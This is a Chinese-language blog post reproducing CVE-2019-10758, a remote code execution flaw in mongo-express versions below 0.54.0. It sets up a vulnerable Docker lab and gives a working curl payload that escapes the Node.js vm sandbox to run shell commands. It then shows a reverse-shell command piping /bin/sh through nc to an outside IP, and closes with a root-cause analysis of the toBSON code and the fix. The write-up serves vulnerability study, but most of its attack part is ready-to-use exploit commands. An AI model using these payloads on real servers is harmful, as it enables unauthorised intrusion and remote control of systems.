Damn1t
for you I bleed myself dry
FRIENDS
baidu

CVE-2019-10758

2020-01-20 cve

CVE-2019-10758 复现

简介

该漏洞是关于Mongo-express的RCE漏洞

Mongo-express是MongoDB的数据库管理工具,类似Navicat对应Mysql的关系,其使用Node.js,Express和Bootstrap3编写的基于Web的MongoDB图形化管理界面 。

漏洞问题出在lib/bson.js中的toBSON()函数中,由于在非安全环境下滥用vm依赖关系来执行exec命令,从而导致的远程代码执行。

影响范围:

1
version < 0.54.0

搭建环境

使用docker镜像搭建MongoDB数据库:

1
docker run --name mymongo -d mongo:3.2

搭建存在漏洞的Mongo-express并连接到上面的数据库:

1
docker run -it --rm -p 8081:8081 --link mymongo:mongo mongo-express:0.49

第二次启动:

1
2
3
docker start mymongo

docker run -it --rm -p 8081:8081 --link mymongo:mongo mongo-express:0.49

如果出现如下信息,表明成功连接了MongoDB:

访问http://localhost:8081查看mongo-express管理页面

复现

poc:

1
curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("echo 123 > testfile.txt")'

其中execSync处写入要执行的命令

执行后回显 “Vaild” 并且 后台无异常无报错、返回200的HTTP状态码表示POC执行成功:

找出文件:

1
find -name testfile.txt

查看内容:

反弹shell

  • 在tmp目录下创建一个管道文件 f:
1
curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync(" mkfifo /tmp/f ")'

如果出现invalid则是创建失败,可以查看后台的相应的报错信息

  • cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路:
1
curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync(" cat /tmp/f | /bin/sh -i 2>%261 | nc 192.168.1.110 666 >/tmp/f ")'

分析

根据poc给出的路由,我们查看路由信息
文件express-mongo/node_modules/mongo-express/lib/router.js进行路由事件的方法绑定

路由事件checkvalid对应的方法在文件express-mongo/node_modules/mongo-express/lib/routes/document.js,调用了toBSON

1
2
3
4
5
6
7
8
9
10
11
exp.checkValid = function (req, res) {
var doc = req.body.document;
try {
bson.toBSON(doc);
} catch (err) {
console.error(err);
return res.send('Invalid');
}

res.send('Valid');
};

在toBSON函数中将传入的参数放进vm沙箱里去eval,对应文件express-mongo/node_modules/mongo-express/lib/bson.js

1
2
3
4
5
6
7
8
9
10
exports.toBSON = function (string) {
var sandbox = exports.getSandbox();

string = string.replace(/ISODate\(/g, 'new ISODate(');
string = string.replace(/Binary\(("[^"]+"),/g, 'Binary(new Buffer($1, "base64"),');

vm.runInNewContext('doc = eval((' + string + '));', sandbox);

return sandbox.doc;
};

vm的绕过可参考这篇文章:https://pwnisher.gitlab.io/nodejs/sandbox/2019/02/21/sandboxing-nodejs-is-hard.html

官方修复

官方在在0.54.0中将bson.js中的vm依赖删除,改用mongo-query-parser

Author: damn1t

Link: http://microvorld.com/2020/01/20/cve/CVE-2019-10758/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
DC-3
NextPost >
CVE-2017-12794
CATALOG
  1. 1. CVE-2019-10758 复现
    1. 1.1. 简介
    2. 1.2. 搭建环境
    3. 1.3. 复现
    4. 1.4. 反弹shell
    5. 1.5. 分析
    6. 1.6. 官方修复